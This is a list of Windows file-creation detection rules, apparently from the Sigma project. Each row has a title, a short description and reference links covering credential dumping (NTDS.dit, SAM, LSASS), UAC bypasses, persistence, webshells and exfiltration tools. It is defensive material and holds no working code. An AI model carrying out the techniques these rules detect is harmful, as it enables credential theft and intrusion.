NTDS.DIT Creation By Uncommon Parent Process	Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon parent process or directory	https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/, https://pentestlab.blog/tag/ntds-dit/, https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1
NTDS.DIT Creation By Uncommon Process	Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory	https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/, https://adsecurity.org/?p=2398
NTDS Exfiltration Filename Patterns	Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.	https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb, https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1, https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405
Office Macro File Creation	Detects the creation of a new office macro files on the systems	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md, https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
Potential Persistence Via Microsoft Office Add-In	Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).	Internal Research, https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence, https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md
Office Macro File Download	Detects the creation of a new office macro files on the systems via an application (browser, mail client).	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md, https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
Office Macro File Creation From Suspicious Process	Detects the creation of a office macro file from a a suspicious process	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md, https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
OneNote Attachment File Dropped In Suspicious Location	Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments	https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/, https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/
Suspicious File Created Via OneNote Application	Detects suspicious files created via the OneNote application. This could indicate a potential malicious ".one"/".onepkg" file was executed as seen being used in malware activity in the wild	https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/, https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/, https://twitter.com/MaD_c4t/status/1623414582382567424, https://labs.withsecure.com/publications/detecting-onenote-abuse, https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/, https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/
New Outlook Macro Created	Detects the creation of a macro file for Outlook.	https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
.RDP File Created by Outlook Process	Detects the creation of files with the ".rdp" extensions in the temporary directory that Outlook uses when opening attachments. This can be used to detect spear-phishing campaigns that use RDP files as attachments.	https://thecyberexpress.com/rogue-rdp-files-used-in-ukraine-cyberattacks/, https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/, https://www.linkedin.com/feed/update/urn:li:ugcPost:7257437202706493443?commentUrn=urn%3Ali%3Acomment%3A%28ugcPost%3A7257437202706493443%2C7257522819985543168%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287257522819985543168%2Curn%3Ali%3AugcPost%3A7257437202706493443%29
PCRE.NET Package Temp Files	Detects processes creating temp files related to PCRE.NET package	https://twitter.com/rbmaslen/status/1321859647091970051, https://twitter.com/tifkin_/status/1321916444557365248
Suspicious Outlook Macro Created	Detects the creation of a macro file for Outlook.	https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/, https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53, https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/
Publisher Attachment File Dropped In Suspicious Location	Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents	https://twitter.com/EmericNasi/status/1623224526220804098
Potential Persistence Via Microsoft Office Startup Folder	Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence.	https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies, https://learn.microsoft.com/en-us/office/troubleshoot/excel/use-startup-folders
File With Uncommon Extension Created By An Office Application	Detects the creation of files with an executable or script extension by an Office application.	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
Uncommon File Created In Office Startup Folder	Detects the creation of a file with an uncommon extension in an Office application startup folder	https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/, http://addbalance.com/word/startup.htm, https://answers.microsoft.com/en-us/msoffice/forum/all/document-in-word-startup-folder-doesnt-open-when/44ab0932-2917-4150-8cdc-2f2cf39e86f3, https://en.wikipedia.org/wiki/List_of_Microsoft_Office_filename_extensions
Potential Persistence Via Outlook Form	Detects the creation of a new Outlook form which can contain malicious code	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=76, https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79, https://learn.microsoft.com/en-us/office/vba/outlook/concepts/outlook-forms/create-an-outlook-form, https://www.slipstick.com/developer/custom-form/clean-outlooks-forms-cache/
Suspicious File Created In PerfLogs	Detects suspicious file based on their extension being created in "C:\PerfLogs\". Note that this directory mostly contains ".etl" files	Internal Research, https://labs.withsecure.com/publications/fin7-target-veeam-servers
Potential Binary Or Script Dropper Via PowerShell	Detects PowerShell creating a binary executable or a script file.	https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
PowerShell Script Dropped Via PowerShell.EXE	Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.	https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
Malicious PowerShell Scripts - FileCreation	Detects the creation of known offensive powershell scripts used for exploitation	https://github.com/PowerShellMafia/PowerSploit, https://github.com/NetSPI/PowerUpSQL, https://github.com/CsEnox/EventViewer-UACBypass, https://web.archive.org/web/20210511204621/https://github.com/AlsidOfficial/WSUSpendu, https://github.com/nettitude/Invoke-PowerThIEf, https://github.com/S3cur3Th1sSh1t/WinPwn, https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries, https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1, https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1, https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1, https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1, https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/, https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/, https://github.com/HarmJ0y/DAMP, https://github.com/samratashok/nishang, https://github.com/DarkCoderSc/PowerRunAsSystem/, https://github.com/besimorhino/powercat, https://github.com/Kevin-Robertson/Powermad, https://github.com/adrecon/ADRecon, https://github.com/adrecon/AzureADRecon
PowerShell Module File Created	Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc.	Internal Research, https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3
PowerShell Module File Created By Non-PowerShell Process	Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc. by a non-PowerShell process	Internal Research, https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3
Potential Suspicious PowerShell Module File Created	Detects the creation of a new PowerShell module in the first folder of the module directory structure "\WindowsPowerShell\Modules\malware\malware.psm1". This is somewhat an uncommon practice as legitimate modules often includes a version folder.	Internal Research, https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3
Potential Startup Shortcut Persistence Via PowerShell.EXE	Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"	https://redcanary.com/blog/intelligence-insights-october-2021/, https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder
PSScriptPolicyTest Creation By Uncommon Process	Detects the creation of the "PSScriptPolicyTest" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.	https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
Rclone Config File Creation	Detects Rclone config files being created	https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
.RDP File Created By Uncommon Application	Detects creation of a file with an ".rdp" extension by an application that doesn't commonly create such files.	https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/, https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
Potential Winnti Dropper Activity	Detects files dropped by Winnti as described in RedMimicry Winnti playbook	https://redmimicry.com/posts/redmimicry-winnti/#dropper
PDF File Created By RegEdit.EXE	Detects the creation of a file with the ".pdf" extension by the "RegEdit.exe" process. This indicates that a user is trying to print/save a registry key as a PDF in order to potentially extract sensitive information and bypass defenses.	https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/
RemCom Service File Creation	Detects default RemCom service filename which indicates RemCom service installation and execution	https://github.com/kavika13/RemCom/
ScreenConnect Temporary Installation Artefact	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows
Remote Access Tool - ScreenConnect Temporary File	Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users\\Documents\ConnectWiseControl\Temp\" before execution.	https://github.com/SigmaHQ/sigma/pull/4467
Potential RipZip Attack on Startup Folder	Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.	https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19
Potential SAM Database Dump	Detects the creation of files that look like exports of the local SAM (Security Account Manager)	https://github.com/search?q=CVE-2021-36934, https://web.archive.org/web/20210725081645/https://github.com/cube0x0/CVE-2021-36934, https://www.google.com/search?q=%22reg.exe+save%22+sam, https://github.com/HuskyHacks/ShadowSteal, https://github.com/FireFart/hivenightmare
Self Extraction Directive File Created In Potentially Suspicious Location	Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries.	https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html, https://en.wikipedia.org/wiki/IExpress, https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
Windows Shell/Scripting Application File Write to Suspicious Folder	Detects Windows shells and scripting applications that write files to suspicious folders	Internal Research
Windows Binaries Write Suspicious Extensions	Detects Windows executables that write files with suspicious extensions	Internal Research
Startup Folder File Write	A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.	https://github.com/OTRF/detection-hackathon-apt29/issues/12, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.md
Suspicious Creation with Colorcpl	Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\	https://twitter.com/eral4m/status/1480468728324231172?s=20
Created Files by Microsoft Sync Center	This rule detects suspicious files created by Microsoft Sync Center (mobsync)	https://redcanary.com/blog/intelligence-insights-november-2021/
Suspicious Files in Default GPO Folder	Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder	https://redcanary.com/blog/intelligence-insights-november-2021/
Suspicious Desktopimgdownldr Target File	Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension	https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/, https://twitter.com/SBousseaden/status/1278977301745741825
Suspicious desktop.ini Action	Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.	https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/
Suspicious Creation TXT File in User Desktop	Ransomware create txt file in the user Desktop	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note
Creation of a Diagcab	Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)	https://threadreaderapp.com/thread/1533879688141086720.html
DPAPI Backup Keys And Certificate Export Activity IOC	Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates.	https://www.dsinternals.com/en/dpapi-backup-key-theft-auditing/, https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.Common/Data/DPAPI/DPAPIBackupKey.cs#L28-L32
Suspicious Double Extension Files	Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.	https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/, https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations, https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles, https://twitter.com/malwrhunterteam/status/1235135745611960321, https://twitter.com/luc4m/status/1073181154126254080
Suspicious MSExchangeMailboxReplication ASPX Write	Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation	https://redcanary.com/blog/blackbyte-ransomware/
Suspicious Executable File Creation	Detect creation of suspicious executable file names. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.	https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae, https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/
Suspicious Get-Variable.exe Creation	Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.	https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/, https://www.joesandbox.com/analysis/465533/0/html
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream	Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"	https://twitter.com/pfiatde/status/1681977680688738305, https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/, https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/, https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
Potential Homoglyph Attack Using Lookalike Characters in Filename	Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.	https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish, http://www.irongeek.com/homoglyph-attack-generator.php
Legitimate Application Dropped Archive	Detects programs on a Windows system that should not write an archive to disk	https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
Legitimate Application Dropped Executable	Detects programs on a Windows system that should not write executables to disk	https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
Legitimate Application Dropped Script	Detects programs on a Windows system that should not write scripts to disk	https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
Suspicious LNK Double Extension File Created	Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default.	https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/, https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations, https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles, https://twitter.com/malwrhunterteam/status/1235135745611960321, https://twitter.com/luc4m/status/1073181154126254080
Suspicious PFX File Creation	A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.	https://github.com/OTRF/detection-hackathon-apt29/issues/14, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md
PowerShell Profile Modification	Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence	https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/, https://persistence-info.github.io/Data/powershellprofile.html
Suspicious PROCEXP152.sys File Created In TMP	Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.	https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
Suspicious File Creation Activity From Fake Recycle.Bin Folder	Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware	https://www.mandiant.com/resources/blog/infected-usb-steal-secrets, https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/
Potential File Extension Spoofing Using Right-to-Left Override	Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.	https://redcanary.com/blog/right-to-left-override/, https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method
Drop Binaries Into Spool Drivers Color Folder	Detects the creation of suspcious binary files inside the "\windows\system32\spool\drivers\color\" as seen in the blog referenced below	https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/
Suspicious Startup Folder Persistence	Detects when a file with a suspicious extension is created in the startup folder	https://github.com/last-byte/PersistenceSniper
Suspicious Scheduled Task Write to System32 Tasks	Detects the creation of tasks from processes executed from suspicious locations	Internal Research
Suspicious Interactive PowerShell as SYSTEM	Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm
TeamViewer Remote Session	Detects the creation of log files during a TeamViewer remote session	https://www.teamviewer.com/en-us/
VsCode Powershell Profile Modification	Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2
Windows Terminal Profile Settings Modification By Uncommon Process	Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process.	https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1547.015/T1547.015.md#atomic-test-1---persistence-by-modifying-windows-terminal-profile, https://twitter.com/nas_bench/status/1550836225652686848
WinSxS Executable File Creation By Non-System Process	Detects the creation of binaries in the WinSxS folder by non-system processes	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
LiveKD Kernel Memory Dump File Created	Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.	Internal Research
LiveKD Driver Creation	Detects the creation of the LiveKD driver, which is used for live kernel debugging	Internal Research
LiveKD Driver Creation By Uncommon Process	Detects the creation of the LiveKD driver by a process image other than "livekd.exe".	Internal Research
Process Explorer Driver Creation By Non-Sysinternals Binary	Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.	https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer, https://github.com/Yaxser/Backstab, https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks, https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/
Process Monitor Driver Creation By Non-Sysinternals Binary	Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.	Internal Research
PsExec Service File Creation	Detects default PsExec service filename which indicates PsExec service installation and execution	https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://jpcertcc.github.io/ToolAnalysisResultSheet
PSEXEC Remote Execution File Artefact	Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system	https://aboutdfir.com/the-key-to-identify-psexec/, https://twitter.com/davisrichardg/status/1616518800584704028
Potential Privilege Escalation Attempt Via .Exe.Local Technique	Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"	https://github.com/binderlabs/DirCreate2System, https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt
LSASS Process Memory Dump Creation Via Taskmgr.EXE	Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.	https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1003.001/T1003.001.md#L1
Hijack Legit RDP Session to Move Laterally	Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder	Internal Research
UAC Bypass Using Consent and Comctl32 - File	Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)	https://github.com/hfiref0x/UACME
UAC Bypass Using .NET Code Profiler on MMC	Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)	https://github.com/hfiref0x/UACME
UAC Bypass Using EventVwr	Detects the pattern of a UAC bypass using Windows Event Viewer	https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw, https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g, https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute
UAC Bypass Using IDiagnostic Profile - File	Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique	https://github.com/Wh04m1001/IDiagnosticProfileUAC
UAC Bypass Using IEInstal - File	Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)	https://github.com/hfiref0x/UACME
UAC Bypass Using MSConfig Token Modification - File	Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)	https://github.com/hfiref0x/UACME
UAC Bypass Using NTFS Reparse Point - File	Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)	https://github.com/hfiref0x/UACME
UAC Bypass Abusing Winsat Path Parsing - File	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)	https://github.com/hfiref0x/UACME
UAC Bypass Using Windows Media Player - File	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)	https://github.com/hfiref0x/UACME
Creation of WerFault.exe/Wer.dll in Unusual Folder	Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking.	https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/
VHD Image Download Via Browser	Detects creation of ".vhd"/".vhdx" files by browser processes. Malware can use mountable Virtual Hard Disk ".vhd" files to encapsulate payloads and evade security controls.	https://redcanary.com/blog/intelligence-insights-october-2021/, https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/, https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Visual Studio Code Tunnel Remote File Creation	Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature	Internal Research
Renamed VsCode Code Tunnel Execution - File Indicator	Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility by an "Image" or "Process" other than VsCode.	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html
Potential Webshell Creation On Static Website	Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.	PT ESC rule and personal experience, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/c95a0a1a2855dc0cd7f7327614545fe30482a636/Upload%20Insecure%20Files/README.md
AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File	Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)	https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
Wmiexec Default Output File	Detects the creation of the default output filename used by the wmiexec tool	https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/, https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py
Wmiprvse Wbemcomn DLL Hijack - File	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.	https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
WMI Persistence - Script Event Consumer File Write	Detects file writes of WMI script event consumer	https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
UEFI Persistence Via Wpbbin - FileCreation	Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method	https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c, https://persistence-info.github.io/Data/wpbbin.html
Writing Local Admin Share	Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share
Potentially Suspicious Self Extraction Directive File Created	Detects the creation of a binary file with the ".sed" extension. The ".sed" extension stand for Self Extraction Directive files. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Usually ".sed" files are simple ini files and not PE binaries.	https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html, https://en.wikipedia.org/wiki/IExpress, https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
